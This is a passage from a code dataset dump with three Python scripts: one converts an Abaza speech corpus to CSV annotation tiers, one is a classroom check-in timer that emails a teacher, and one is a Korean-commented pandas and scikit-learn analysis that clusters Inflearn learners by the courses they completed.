speaker_dict[speaker_lastname][\"code\"]\n\n ling_lastname = transcript_linguist.split(\" \")[-1]\n ling_code = ling_dict[ling_lastname]\n \n consts = transcript_consultants.split(', ')\n consts_codes = []\n for c in consts: \n consts_codes.append(consts_dict[c][0])\n\n # Write all the information to the meta.csv file\n\n with open('meta.csv', 'a', newline = '') as metafile:\n metawriter = csv.writer(metafile, delimiter='\\t', quotechar='|')\n metalist = [file, name, speaker_code, length, dat, loc, ling_code, ', '.join(consts_codes)]\n metawriter.writerow(metalist)\n\n return metalist\n \n\n# Function that takes a text and returns a dictionary with sentences, words and glosses. \ndef collect_content(text):\n\n # Group sentences\n sent = re.findall('\\d+\\.\\n[0-9]{1,7}\\s+[0-9]{1,7}\\n.+\\n\\n+.+\\n\\n+.+\\n\\n+.+\\n\\n', text)\n textdict = {}\n # For every sentence\n for se in sent:\n se_list = se.split('\\n')\n se_list = [i for i in se_list if i]\n\n # Retrieve all the information\n se_num = se_list[0].strip('.')\n \n timing = se_list[1].split(' ')\n start_t, end_t = int(timing[0]), int(timing[1])\n\n orth_tier = se_list[2]\n trans_tier = se_list[3]\n gloss_tier = se_list[4]\n trans_ru = se_list[5]\n\n textdict.update({se_num: {\"orth\" : orth_tier,\n \"start_t\": start_t,\n \"end_t\": end_t, \n \"duration\": end_t -start_t,\n \"translation\" : trans_ru,\n \"words\": {}} })\n \n # Identify words in each tier\n orth_list = orth_tier.split(' ')\n orth_list = [clean_str(i, lowering = \"TRUE\") for i in orth_list]\n orth_list = [(i) for i in orth_list if i != '']\n trans_list = trans_tier.split(' ')\n gloss_list = gloss_tier.split(' ')\n\n # Match words with their transcription and glosses\n for w in orth_list:\n indx = orth_list.index(w)\n w_num = 'w' + str(indx)\n\n try:\n w_transcript = trans_list[indx]\n except IndexError: \n (\"mist!\" + w_transcript)\n\n try: \n w_gloss = gloss_list[indx] \n except IndexError: \n w_gloss = ''\n print('>>' + w, se)\n\n textdict[se_num]['words'].update({w_num: {\"w_orth\": w, \n \"w_transcript\": w_transcript, \n \"w_gloss\": w_gloss}})\n return textdict\n\n\n\n\n# Writes the content of the dictionary, generated for the text into a separate csv\ndef dict2csv(textdict, metalist):\n\n # Make 'tiers' to paste it into a .csv file\n\n speaker_code = metalist[2]\n\n tier1_name = speaker_code + \"_Transcription-txt\"\n tier2_name = speaker_code + \"_Words-txt\"\n tier3_name = speaker_code + \"_Morph-txt\"\n tier4_name = speaker_code + \"_Gloss-txt\"\n tier5_name = speaker_code + \"_Translation-gls\"\n\n tier1_annotations = []\n tier2_annotations = []\n tier3_annotations = []\n tier4_annotations = []\n tier5_annotations = []\n\n for se_num in sorted(textdict):\n start = textdict[se_num]['start_t']\n end = textdict[se_num]['end_t']\n duration = textdict[se_num]['duration']\n orth_ann = textdict[se_num]['orth']\n trans_ru_ann = textdict[se_num]['translation']\n \n tier1_annotations.append([tier1_name, start, end, duration, orth_ann])\n tier5_annotations.append([tier5_name, start, end, duration, trans_ru_ann])\n\n for w_num in textdict[se_num]['words']:\n duration_w = round(duration/len(textdict[se_num]['words']))\n start_w = start\n end_w = start_w + duration_w\n \n transcr_w_ann = textdict[se_num]['words'][w_num]['w_transcript']\n gloss_w_ann = textdict[se_num]['words'][w_num]['w_gloss']\n\n tier2_annotations.append([tier2_name, start_w, end_w, duration_w, transcr_w_ann.replace('-', '')])\n tier3_annotations.append([tier3_name, start_w, end_w, duration_w, transcr_w_ann])\n tier4_annotations.append([tier4_name, start_w, end_w, duration_w, gloss_w_ann])\n\n start = end_w\n\n\n # Paste info to the file \n filename = metalist[0].replace(\".wav\", \".csv\")\n \n with open('csv/' + filename, 'a', newline = '') as f: \n fwriter = csv.writer(f, delimiter='\\t', quotechar='|')\n for x in tier1_annotations: fwriter.writerow(x)\n for x in tier2_annotations: fwriter.writerow(x)\n for x in tier3_annotations: fwriter.writerow(x)\n for x in tier4_annotations: fwriter.writerow(x)\n for x in tier5_annotations: fwriter.writerow(x)\n\n\ndef main():\n with open('abaza_oral_corpus_whole.txt', 'r') as f:\n all_texts = f.read()\n texts = all_texts.split('---\\n\\n\\n')\n\n # Form every text: collect metadata, collect data\n for t in texts[2:]:\n\n # Writes metaifo to a file called meta.csv and returns the collected information in a form of list \n try:\n metalist = collect_meta(t)\n except AttributeError: print(t[:20])\n\n # Collects the main body of data and writes it to a .csv file with a name corresponding to the original filename\n textdict = collect_content(t)\n dict2csv(textdict, metalist)\n\n\nmain()\n\n\n\n","sub_path":"txt2csv.py","file_name":"txt2csv.py","file_ext":"py","file_size_in_byte":6891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"127519604","text":"#Imports\r\nimport smtplib\r\nfrom email.mime.multipart import MIMEMultipart\r\nfrom email.mime.text import MIMEText\r\nimport datetime\r\n\r\n#Testing list for email client. -Not currently Used!\r\npeople = [\"pburton\", \"hbarclay\", \"mevans\"]\r\n\r\n#Sends the emails to the correct person.\r\ndef end_emails_sender (staff_name, total_students):\r\n\r\n #email sender and recipiant. will be changed later to a outlook address.\r\n fromaddr = \"mattevans777@gmail.com\"\r\n toaddr = staff_name\r\n \r\n msg = MIMEMultipart()\r\n msg['From'] = fromaddr\r\n msg['To'] = toaddr\r\n msg['Subject'] = \"Role for class ....\"\r\n \r\n #This will eventaully befcome a list of student names that check in and the total number. \r\n #Just using number now for testing.\r\n body = \"here is the total number of students in your class\" , total_students\r\n msg.attach(MIMEText(body, 'plain'))\r\n \r\n #Email deatials. PASSWORD removed for security.\r\n server = smtplib.SMTP('smtp.gmail.com', 587)\r\n server.starttls()\r\n server.login(fromaddr, \"PASSWORD GOES HERE\")\r\n text = msg.as_string()\r\n server.sendmail(fromaddr, toaddr, text) \r\n \r\n server.quit() \r\n\r\n\r\n#Main function. for now. \r\ndef timer_setup():\r\n \r\n #asks for the staff user name. eg. like the list above. And formats it into an email.\r\n #This will later be upgraded to an ID number - possible a NFC card.\r\n staff_name = input(\"please input your email address before the @ symbol \")\r\n staff_name = staff_name+(\"@stc.school.nz\")\r\n \r\n print(staff_name) #TEST. checks the email is set up correctly\r\n \r\n #counter for the total number of students\r\n total = 0\r\n \r\n #Timer set for 10s for TESTING. will be set for 5 minutes from when a teacher enters thier username.\r\n finish_time = datetime.datetime.now() + datetime.timedelta(seconds = 10)\r\n \r\n print(finish_time) #TESTING\r\n print(\"#####\") #TESTING\r\n \r\n #variable for date time at current point for while loop.\r\n current = datetime.datetime.now()\r\n \r\n #while statement checks current time vs. finish time. \r\n #when false the should pass total onto the email function.\r\n while current <= finish_time: \r\n student = input(\"what is your name\")\r\n total = total + 1\r\n print(total) #TESTING\r\n current = datetime.datetime.now()\r\n print (current)#TESTING\r\n \r\n #Once timer is up display the late msg and sends email to staff. \r\n print(\"time is up. You are now late!\")\r\n end_emails_sender(staff_name,total) \r\n \r\n#Runs MIAN function\r\ntimer_setup()\r\n","sub_path":"Testing-mail.py","file_name":"Testing-mail.py","file_ext":"py","file_size_in_byte":2568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"343820589","text":"# Module & Package\n## 모듈과 패키지 불러오기\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport json\nimport numpy, scipy, pylab, random\nimport re\nfrom pylab import plot, show\nimport csv\nimport scipy.cluster.hierarchy as shc\nimport time\nfrom sklearn.cluster import AgglomerativeClustering\nfrom collections import Counter\npd.set_option(\"display.max_rows\",999)\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# Declare Functions\n## 데이터프레임을 받았을 때, Object 파일형태는 공백을 제거해주는 함수\ndef stripping_dataframe(dataframe):\n for column in dataframe.select_dtypes(include=['object']).columns.tolist():\n print (\"'\"+column+\"'\"+\" 컬럼에 대한 공백제거 작업완료\")\n dataframe[column] = dataframe[column].str.strip()\n\n\n# Read Data\n## 공통되는 경로는 변수로 관리하기 위해서 경로 변수 선언.\n## 각각 파일명은 기존의 인프런에서 제공받은 그대로 유지.\ndata_path='./source_data/'\n### 수강완료 필드 불러오기\nunit_complete_df1 = pd.read_json(data_path+'unit_complete_0.json',encoding='utf-8')\nunit_complete_df2 = pd.read_json(data_path+'unit_complete_1.json',encoding='utf-8')\nunit_complete_df3 = pd.read_json(data_path+'unit_complete_2.json',encoding='utf-8')\nunit_complete_df4 = pd.read_json(data_path+'unit_complete_3.json',encoding='utf-8')\n### 구독완료 필드 불러오기\nsubscribe_df = pd.read_json(data_path+'subscribe_course_0.json',encoding='utf-8')\n### 수강시작 필드 불러오기\nstartcourse_df = pd.read_json(data_path+'start_course_0.json',encoding='utf-8')\n### 신규유저 필드 불러오기 (필요없기 때문에 불러오지 않음)\n#newmember_df = pd.read_json(data_path+'new_member_0.json',encoding='utf-8')\n\n\n# Unique Lecture List from Json files\ndf_all = pd.concat((unit_complete_df1,\n unit_complete_df2,\n unit_complete_df3,\n unit_complete_df4,\n# newmember_df,\n startcourse_df,\n subscribe_df), axis=0)\ndf_all = df_all.reset_index(drop=True)\ndf_Extracted_lecture_A = df_all\ndf_Extracted_lecture_A = df_Extracted_lecture_A.drop(labels=['활동ID','활동시각'],axis=1)\ndf_Extracted_lecture_A = df_Extracted_lecture_A.reset_index(drop=True)\ndf_Extracted_lecture_A['강좌ID'] = df_Extracted_lecture_A['강좌ID'].apply(lambda x: np.nan if x == \"nan\" else x)\ndf_Extracted_lecture_A = df_Extracted_lecture_A.dropna(subset=['강좌ID'])\n\n\n# Unique Lecture List from CSV files\nPayment_df1 =pd.read_csv(data_path+\"./201801.csv\",sep='\\t')\nPayment_df2 = pd.read_csv(data_path+\"./201802.csv\",sep='\\t')\nPayment_df3 = pd.read_csv(data_path+\"./201803.csv\")\nPayment_df4 = pd.read_csv(data_path+\"./201804.csv\")\nPayment_df5 = pd.read_csv(data_path+\"./201805.csv\")\nPayment_df6 = pd.read_csv(data_path+\"./201806.csv\")\nPayment_df7 = pd.read_csv(data_path+\"./201807.csv\")\nPayment_df8 = pd.read_csv(data_path+\"./201808.csv\")\nPayment_df9 = pd.read_csv(data_path+\"./201809.csv\")\nPayment_df10 = pd.read_csv(data_path+\"./201810.csv\")\nPayment_df1['isit_timedata'] = False\nPayment_df1['날짜'] = Payment_df1['날짜'] + \" 00:00\"\nPayment_df2['isit_timedata'] = False\nPayment_df2['날짜'] = Payment_df2['날짜'] + \" 00:00\"\nPayment_df3['isit_timedata'] = True\nPayment_df4['isit_timedata'] = True\nPayment_df5['isit_timedata'] = True\nPayment_df6['isit_timedata'] = True\nPayment_df7['isit_timedata'] = True\nPayment_df8['isit_timedata'] = True\nPayment_df9['isit_timedata'] = True\nPayment_df10['isit_timedata'] = True\ndf_payment_all = pd.concat((Payment_df1,\n Payment_df2,\n Payment_df3,\n Payment_df4,\n Payment_df5,\n Payment_df6,\n Payment_df7,\n Payment_df8,\n Payment_df9,\n Payment_df10), axis=0)\ndf_payment_all = df_payment_all.reset_index(drop=True)\ndf_payment_all['Name'] = df_payment_all['Name'].str.replace('_','-')\n## 오른쪽에서 처음나오는 - 기준으로 스플릿\ndf_payment_all['lecture_name'], df_payment_all['instructor'] = df_payment_all['Name'].str.rsplit('-', 1).str\ndel df_payment_all['Name']\ndf_payment_all['Order Id'], df_payment_all['trash'] = df_payment_all['Order Id'].astype(str,errors='ignore').str.rsplit('.', 1).str\ndf_payment_all['Customer User Id'], df_payment_all['trash'] = df_payment_all['Customer User Id'].astype(str,errors='ignore').str.rsplit('.', 1).str\ndel df_payment_all['trash']\ndf_payment_all['Order Id'] = df_payment_all['Order Id'].apply(lambda x: np.nan if x == \"nan\" else x)\ndf_payment_all['Customer User Id'] = df_payment_all['Customer User Id'].apply(lambda x: np.nan if x == \"nan\" else x)\nstripping_dataframe(df_payment_all)\ndf_payment_all[\"날짜\"] = pd.to_datetime(df_payment_all[\"날짜\"],format='%Y-%m-%d %H:%M')\ndef make_free(row):\n make_free = row['Item Cost']\n if make_free == 0:\n return \"free\"\n else:\n return row['결제방법']\ndf_payment_all['결제방법'] = df_payment_all.apply(make_free, axis=1)\ndef methods(row):\n str_methods = row['결제방법']\n if len(str_methods.split(\"_\")) == 2:\n return str_methods.split(\"_\")[1]\n else:\n return str_methods.split(\"_\")[0]\ndef isit_iamport(row):\n str_methods = row['결제방법']\n if len(str_methods.split(\"_\")) == 2:\n return True\n else:\n return False\n# NULL값은 위에 Order id, 날짜, Customer id, 결제방법 똑같이 해주기\nFill_NA_df_all = df_payment_all.fillna(method='ffill')\nFill_NA_df_all['methods'] = Fill_NA_df_all.apply(methods, axis=1)\nFill_NA_df_all['isit_iamport'] = Fill_NA_df_all.apply(isit_iamport, axis=1)\ndel Fill_NA_df_all['결제방법']\ndf_all_copyed = Fill_NA_df_all\ndf_all_copyed = df_all_copyed.rename(index=str, columns={\"Customer User Id\": \"Customer_User_Id\", \"Item Cost\": \"Item_Cost\", \"Order Id\": \"Order_Id\"})\ndf_Extracted_lecture_B = df_all_copyed\ndf_Extracted_lecture_B = df_Extracted_lecture_B.drop(labels=['Order_Id','날짜','isit_timedata','methods','isit_iamport'],axis=1)\ndf_Extracted_lecture_B = df_Extracted_lecture_B.reset_index(drop=True)\ndf_Extracted_lecture_B = df_Extracted_lecture_B.rename(index=str, columns={\"lecture_name\": \"강좌명\"})\n\n\n# Preprocessing for Merge A, B\ndef trans(row):\n str_methods = row['강좌명']\n if str_methods in instructor_from_lecture:\n return instructor_from_lecture[str_methods]\n else:\n return row[\"instructor\"]\n\na = df_Extracted_lecture_A\nb = df_Extracted_lecture_B\ncsv_path='./source_data/'\ntry:\n b.drop(b[b.강좌명==\"결제 테스트용 2000원\"].index, inplace = True)###########################허구데이터\n b.drop(b[b.강좌명==\"파이어베이스 위치기반서비스 만들기\"].index, inplace = True) ############비공개 강좌\n\n ########################################################################강좌명 통일\n lecture_list={}\n f = open(csv_path+'1.lecture_list.csv', 'r')\n try:\n reader1 = csv.DictReader(f)\n for row in reader1:\n lecture_list=row\n finally:\n f.close()\n\n for i in b[\"강좌명\"]:\n try:\n b['강좌명'] = b['강좌명'].str.replace(i,lecture_list[i])\n except:\n None\n ########################################################################강좌명 통일\n\n ########################################################################instructor 통일\n merge_instructor={}\n f = open(csv_path+'2.merge_instructor.csv', 'r')\n try:\n reader2 = csv.DictReader(f)\n for row in reader2:\n merge_instructor=row\n finally:\n f.close()\n\n for i in b[\"instructor\"]:\n try:\n b['instructor'] = b['instructor'].str.replace(i,merge_instructor[i])\n except:\n None\n ########################################################################instructor 통일\n\n ########################################################################instructor from 강좌명\n instructor_from_lecture={}\n f = open(csv_path+'3.instructor_from_lecture.csv', 'r')\n try:\n reader3 = csv.DictReader(f)\n for row in reader3:\n instructor_from_lecture=row\n finally:\n f.close()\n\n b[\"instructor\"] = b.apply(trans, axis=1)\n ########################################################################instructor from 강좌명\nexcept:\n print(\"Error Occurred When Preprocessing to Merge A,B\")\n\njson_data = a\ncsv_data = b\n\n\n# Merge A, B\nfull_data=pd.merge(json_data, csv_data, on=['강좌명'], how='inner')\nview_data = full_data[full_data['활동타입']=='수업완료']\nhigh_lecture = view_data.groupby(['강좌ID'])['유저ID'].count().sort_values(ascending=False)\nhigh_user = view_data.groupby(['유저ID'])['강좌ID'].count().sort_values(ascending=False)\n\n\n## 유저가 많이 들은 강좌확인\npd.DataFrame(high_lecture).head()\n## 강좌를 많이 들은 유저확인\npd.DataFrame(high_user).head()\n\n\n# 인기강좌10개, 강의많이 들은 유저 10명 제거\ndata_new = full_data[full_data['활동타입']=='수업완료']\ndata_new_lecture = data_new.groupby(by='강좌ID').count()\ndata_new_lecture = data_new_lecture.sort_index(axis=0, by='유저ID',ascending=False)\ntop_10_lecture = data_new_lecture[:10].index.tolist()\ndata_new_user = data_new.groupby(by='유저ID').count()\ndata_new_user = data_new_user.sort_index(axis=0, by='강좌ID',ascending=False)\ntop_10_user = data_new_user[:10].index.tolist()\npreprocessing_data = full_data[full_data['활동타입']=='수업완료']\npreprocessing_data = preprocessing_data[~preprocessing_data['강좌ID'].isin(top_10_lecture)]\npreprocessing_data = preprocessing_data[~preprocessing_data['유저ID'].isin(top_10_user)]\n\n\n# 만든 pivot테이블 넣고 군집화 시각화해서 확인\n## 유저별 강의 수강율 구���기\nuser_lecture = pd.DataFrame(preprocessing_data.groupby(['유저ID','강좌ID']).활동타입.count())\nuser_lecture = user_lecture.rename(index=str, columns={\"활동타입\":\"유저별완료강좌개수\"})\nuser_lecture = user_lecture.reset_index()\nlecture_df = pd.DataFrame(preprocessing_data.groupby(['강좌ID','유저ID']).활동타입.count())\nlecture_max = lecture_df.groupby(level=0).apply(max)\nlecture_max = lecture_max.rename(index=str, columns={\"활동타입\":\"max\"})\nnumber_of_videos_per_lecture = lecture_max.reset_index()\ncomplete_rate = pd.merge(user_lecture,number_of_videos_per_lecture,how = \"left\",on=['강좌ID'])\ncomplete_rate[\"rate\"]=complete_rate[\"유저별완료강좌개수\"]/complete_rate[\"max\"]\ncomplete_rate_pivot = complete_rate.pivot(index = '유저ID', columns ='강좌ID', values = 'rate').fillna(0)\n## 유저가 강의별로 1개라도 들었으면 1 아니면 0\ncomplete_lecture = pd.DataFrame(preprocessing_data.groupby(['유저ID','강좌ID']).Item_Cost.count())\ncomplete_lecture[\"boolean\"]=1\ncomplete_lecture = complete_lecture.reset_index()\ncomplete_lecture_pivot = complete_lecture.pivot(index = '유저ID', columns ='강좌ID', values = 'boolean').fillna(0)\n\n\n# 만든 pivot테이블 넣고 군집화 시각화해서 확인후 저장하기\npivot_table = complete_lecture_pivot\nnow = time.localtime()\ns = \"%04d_%02d_%02d\" % (now.tm_year, now.tm_mon, now.tm_mday)+\"_Clustering_Graph\"\ngraph_path='./graph/Clustering/'\nplt.figure(figsize=(18, 10))\nplt.title(\"Inflearn Customer Clustering\", fontsize=20)\ndend = shc.dendrogram(shc.linkage(pivot_table, method='ward'))\nplt.xlabel('User_Id')\nplt.ylabel('Distance (Ward)')\nplt.savefig(graph_path+s+'.png')\n\n\n# pivot테이블에 군집라벨 붙여주기\nnumber_label_count = len(list(set(dend['color_list'])))-1\ncluster = AgglomerativeClustering(n_clusters=number_label_count, affinity='euclidean', linkage='ward')\npivot_table_label = cluster.fit_predict(pivot_table)\npivot_table_label = pd.Series(pivot_table_label, name='label')\npivot_table = pivot_table.reset_index()\npivot_table_1 = pivot_table.join(pivot_table_label)\npivot_table_1 = pivot_table_1.set_index('유저ID')\n\n\n# 군집 유저들이 전체데이터로 봤을 때는 어떤 강좌를 몇개나 수강했는지 확인\nlabel_1_userid = pd.DataFrame(pivot_table_1[pivot_table_1.label == 0].sum(axis=1)).reset_index()['유저ID'].tolist()\nlabel_2_userid = pd.DataFrame(pivot_table_1[pivot_table_1.label == 1].sum(axis=1)).reset_index()['유저ID'].tolist()\nlabel_3_userid = pd.DataFrame(pivot_table_1[pivot_table_1.label == 2].sum(axis=1)).reset_index()['유저ID'].tolist()\nlabel_4_userid = pd.DataFrame(pivot_table_1[pivot_table_1.label == 3].sum(axis=1)).reset_index()['유저ID'].tolist()\nlabel_5_userid = pd.DataFrame(pivot_table_1[pivot_table_1.label == 4].sum(axis=1)).reset_index()['유저ID'].tolist()\nlabel_6_userid = pd.DataFrame(pivot_table_1[pivot_table_1.label == 5].sum(axis=1)).reset_index()['유저ID'].tolist()\nlabel_7_userid = pd.DataFrame(pivot_table_1[pivot_table_1.label == 6].sum(axis=1)).reset_index()['유저ID'].tolist()\n\n\nlen(label_1_userid),len(label_2_userid),len(label_3_userid),len(label_4_userid),len(label_5_userid),len(label_6_userid)\n\npd.DataFrame(df_all[df_all['유저ID'].isin(label_1_userid)].groupby(['강좌명'])['활동타입'].count().sort_values(ascending=False)).head()\n\ntest_df = pd.DataFrame(df_all[df_all['유저ID'].isin(label_1_userid)].groupby(['강좌명','유저ID'])['활동타입'].count().sort_values(ascending=False))\ntest_df['활동타입']=1\nlabel_1_df = pd.DataFrame(test_df.groupby(['강좌명'])['활동타입'].sum().sort_values(ascending=False))\nlabel_1_df['총유저수']=len(label_1_userid)\nlabel_1_df['들은퍼센트']=label_1_df['활동타입']/label_1_df['총유저수']*100\nlabel_1_df.head()\n\npd.DataFrame(full_data[full_data['유저ID'].isin(label_2_userid)].groupby(['강좌명'])['활동타입'].count().sort_values(ascending=False)).head()\n\ntest_df = pd.DataFrame(df_all[df_all['유저ID'].isin(label_2_userid)].groupby(['강좌명','유저ID'])['활동타입'].count().sort_values(ascending=False))\ntest_df['활동타입']=1\nlabel_1_df = pd.DataFrame(test_df.groupby(['강좌명'])['활동타입'].sum().sort_values(ascending=False))\nlabel_1_df['총유저수']=len(label_2_userid)\nlabel_1_df['들은퍼센트']=label_1_df['활동타입']/label_1_df['총유저수']*100\nlabel_1_df.head()\n\npd.DataFrame(df_all[df_all['유저ID'].isin(label_3_userid)].groupby(['강좌명'])['활동타입'].count().sort_values(ascending=False)).head()\n\ntest_df = pd.DataFrame(df_all[df_all['유저ID'].isin(label_3_userid)].groupby(['강좌명','유저ID'])['활동타입'].count().sort_values(ascending=False))\ntest_df['활동타입']=1\nlabel_1_df = pd.DataFrame(test_df.groupby(['강좌명'])['활동타입'].sum().sort_values(ascending=False))\nlabel_1_df['총유저수']=len(label_3_userid)\nlabel_1_df['들은퍼센트']=label_1_df['활동타입']/label_1_df['총유저수']*100\nlabel_1_df.head()\n\npd.DataFrame(df_all[df_all['유저ID'].isin(label_4_userid)].groupby(['강좌명'])['활동타입'].count().sort_values(ascending=False)).head()\n\ntest_df = pd.DataFrame(df_all[df_all['유저ID'].isin(label_4_userid)].groupby(['강좌명','유저ID'])['활동타입'].count().sort_values(ascending=False))\ntest_df['활동타입']=1\nlabel_1_df = pd.DataFrame(test_df.groupby(['강좌명'])['활동타입'].sum().sort_values(ascending=False))\nlabel_1_df['총유저수']=len(label_4_userid)\nlabel_1_df['들은퍼센트']=label_1_df['활동타입']/label_1_df['총유저수']*100\nlabel_1_df.head()\n\npd.DataFrame(df_all[df_all['유저ID'].isin(label_5_userid)].groupby(['강좌명'])['활동타입'].count().sort_values(ascending=False)).head()\n\ntest_df = pd.DataFrame(df_all[df_all['유저ID'].isin(label_5_userid)].groupby(['강좌명','유저ID'])['활동타입'].count().sort_values(ascending=False))\ntest_df['활동타입']=1\nlabel_1_df = pd.DataFrame(test_df.groupby(['강좌명'])['활동타입'].sum().sort_values(ascending=False))\nlabel_1_df['총유저수']=len(label_5_userid)\nlabel_1_df['들은퍼센트']=label_1_df['활동타입']/label_1_df['총유저수']*100\nlabel_1_df.head()\n\npd.DataFrame(df_all[df_all['유저ID'].isin(label_6_userid)].groupby(['강좌명'])['활동타입'].count().sort_values(ascending=False)).head()\n\ntest_df = pd.DataFrame(df_all[df_all['유저ID'].isin(label_6_userid)].groupby(['강좌명','유저ID'])['활동타입'].count().sort_values(ascending=False))\ntest_df['활동타입']=1\nlabel_1_df = pd.DataFrame(test_df.groupby(['강좌명'])['활동타입'].sum().sort_values(ascending=False))\nlabel_1_df['총유저수']=len(label_6_userid)\nlabel_1_df['들은퍼센트']=label_1_df['활동타입']/label_1_df['총유저수']*100\nlabel_1_df.head()\n\n\n# 군집화된 User들이 어떤 기준으로 군집이 되었는지 강의로 확인해보기\n\npivot_table_1[pivot_table_1.label == 0].sum(axis=0).sort_values().tail()\n\ntesting_df_0 = pivot_table_1[pivot_table_1.label == 0].sum(axis=0).sort_values().tail()\ntemp_df_0 = pd.DataFrame(testing_df_0)\ntemp_df_0 = temp_df_0.reset_index()\ntemp_df_0.rename(columns={temp_df_0.columns[0]:'강좌ID'}, inplace = True)\nsample_0 = pd.merge(full_data, temp_df_0, on=['강좌ID'], how='inner')\npd.DataFrame(sample_0.groupby(['강좌명','강좌ID'])['활동타입'].count()).sort_values(by='활동타입').rename(columns={'활동타입':'들은유저수'})\n\npivot_table_1[pivot_table_1.label == 1].sum(axis=0).sort_values().tail()\n\ntesting_df_1 = pivot_table_1[pivot_table_1.label == 1].sum(axis=0).sort_values()\ntesting_df_1 = testing_df_1.drop(\"label\")\ntemp_df_1 = pd.DataFrame(testing_df_1.tail())\ntemp_df_1 = temp_df_1.reset_index()\ntemp_df_1.rename(columns={temp_df_1.columns[0]:'강좌ID'}, inplace = True)\nsample_1 = pd.merge(full_data, temp_df_1, on=['강좌ID'], how='inner')\npd.DataFrame(sample_1.groupby(['강좌명','강좌ID'])['활동타입'].count()).sort_values(by='활동타입').rename(columns={'활동타입':'들은유저수'})\n\npivot_table_1[pivot_table_1.label == 2].sum(axis=0).sort_values().tail()\n\ntesting_df_2 = pivot_table_1[pivot_table_1.label == 2].sum(axis=0).sort_values()\ntesting_df_2 = testing_df_2.drop(\"label\")\ntemp_df_2 = pd.DataFrame(testing_df_2.tail())\ntemp_df_2 = temp_df_2.reset_index()\ntemp_df_2.rename(columns={temp_df_2.columns[0]:'강좌ID'}, inplace = True)\nsample_2 = pd.merge(full_data, temp_df_2, on=['강좌ID'], how='inner')\npd.DataFrame(sample_2.groupby(['강좌명','강좌ID'])['활동타입'].count()).sort_values(by='활동타입').rename(columns={'활동타입':'들은유저수'})\n\npivot_table_1[pivot_table_1.label == 3].sum(axis=0).sort_values().tail()\n\ntesting_df_3 = pivot_table_1[pivot_table_1.label == 3].sum(axis=0).sort_values()\ntesting_df_3 = testing_df_3.drop(\"label\")\ntemp_df_3 = pd.DataFrame(testing_df_3.tail())\ntemp_df_3 = temp_df_3.reset_index()\ntemp_df_3.rename(columns={temp_df_3.columns[0]:'강좌ID'}, inplace = True)\nsample_3 = pd.merge(full_data, temp_df_3, on=['강좌ID'], how='inner')\npd.DataFrame(sample_3.groupby(['강좌명','강좌ID'])['활동타입'].count()).sort_values(by='활동타입').rename(columns={'활동타입':'들은유저수'})\n\npivot_table_1[pivot_table_1.label == 4].sum(axis=0).sort_values().tail()\n\ntesting_df_4 = pivot_table_1[pivot_table_1.label == 4].sum(axis=0).sort_values()\ntesting_df_4 = testing_df_4.drop(\"label\")\ntemp_df_4 = pd.DataFrame(testing_df_4.tail())\ntemp_df_4 = temp_df_4.reset_index()\ntemp_df_4.rename(columns={temp_df_4.columns[0]:'강좌ID'}, inplace = True)\nsample_4 = pd.merge(full_data, temp_df_4, on=['강좌ID'], how='inner')\npd.DataFrame(sample_4.groupby(['강좌명','강좌ID'])['활동타입'].count()).sort_values(by='활동타입').rename(columns={'활동타입':'들은유저수'})\n\npivot_table_1[pivot_table_1.label == 5].sum(axis=0).sort_values().tail()\n\ntesting_df_5 = pivot_table_1[pivot_table_1.label == 5].sum(axis=0).sort_values()\ntesting_df_5 = testing_df_5.drop(\"label\")\ntemp_df_5 = pd.DataFrame(testing_df_5.tail())\ntemp_df_5 = temp_df_5.reset_index()\ntemp_df_5.rename(columns={temp_df_5.columns[0]:'강좌ID'}, inplace = True)\nsample_5 = pd.merge(full_data, temp_df_5, on=['강좌ID'], how='inner')\npd.DataFrame(sample_5.groupby(['강좌명','강좌ID'])['활동타입'].count()).sort_values(by='활동타입').rename(columns={'활동타입':'들은유저수'})\n\n\n# 단어추출로 군집화 특성 확인 (군집별 유저들 기준)\ndef making_list(row):\n if row != np.nan:\n test = row.split()\n else:\n test = False\n return test\n\ndef flatten(x):\n result = []\n basestring = (str)\n for el in x:\n if hasattr(el, \"__iter__\") and not isinstance(el, basestring):\n #스트링형이 아닌 이터러블의 경우 - 재귀한 후, extend\n result.extend(flatten(el)) #재귀 호출\n else:\n #이터러블이 아니거나 스트링인 경우 - 그냥 append\n result.append(el)\n return result\n\nloop_text = [\")\",\"(\",\"[\",\"]\",\"!\",\"?\",\"'\",'\"','.','+','/',\"-\",\",\",\"강좌\",\"만들기\",\"배우는\",\"위한\",\"&\",\"배우기\",\"활용한\",\"이용한\",\"를\",\"및\"]\n\ntest_df = pd.DataFrame(df_all[df_all['유저ID'].isin(label_1_userid)].groupby(['강좌명','유저ID'])['활동타입'].count().sort_values(ascending=False))\ntest_df['활동타입']=1\nlabel_1_df = test_df.reset_index()\nfor i in loop_text:\n label_1_df['강좌명'] = label_1_df['강좌명'].str.replace(i,' ', regex=False)\nlabel_1_df['강좌명1'] = label_1_df['강좌명'].astype(str).apply(making_list)\ntesting = Counter(flatten(label_1_df['강좌명1'].tolist()))\nsorted(testing.items(), key=lambda t : t[1],reverse=True)[:30]\n\ntest_df = pd.DataFrame(df_all[df_all['유저ID'].isin(label_2_userid)].groupby(['강좌명','유저ID'])['활동타입'].count().sort_values(ascending=False))\ntest_df['활동타입']=1\nlabel_1_df = test_df.reset_index()\nfor i in loop_text:\n label_1_df['강좌명'] = label_1_df['강좌명'].str.replace(i,' ', regex=False)\nlabel_1_df['강좌명1'] = label_1_df['강좌명'].astype(str).apply(making_list)\ntesting = Counter(flatten(label_1_df['강좌명1'].tolist()))\nsorted(testing.items(), key=lambda t : t[1],reverse=True)[:30]\n\ntest_df = pd.DataFrame(df_all[df_all['유저ID'].isin(label_3_userid)].groupby(['강좌명','유저ID'])['활동타입'].count().sort_values(ascending=False))\ntest_df['활동타입']=1\nlabel_1_df = test_df.reset_index()\nfor i in loop_text:\n label_1_df['강좌명'] = label_1_df['강좌명'].str.replace(i,' ', regex=False)\nlabel_1_df['강좌명1'] = label_1_df['강좌명'].astype(str).apply(making_list)\ntesting = Counter(flatten(label_1_df['강좌명1'].tolist()))\nsorted(testing.items(), key=lambda t : t[1],reverse=True)[:30]\n\ntest_df = pd.DataFrame(df_all[df_all['유저ID'].isin(label_4_userid)].groupby(['강좌명','유저ID'])['활동타입'].count().sort_values(ascending=False))\ntest_df['활동타입']=1\nlabel_1_df = test_df.reset_index()\nfor i in loop_text:\n label_1_df['강좌명'] = 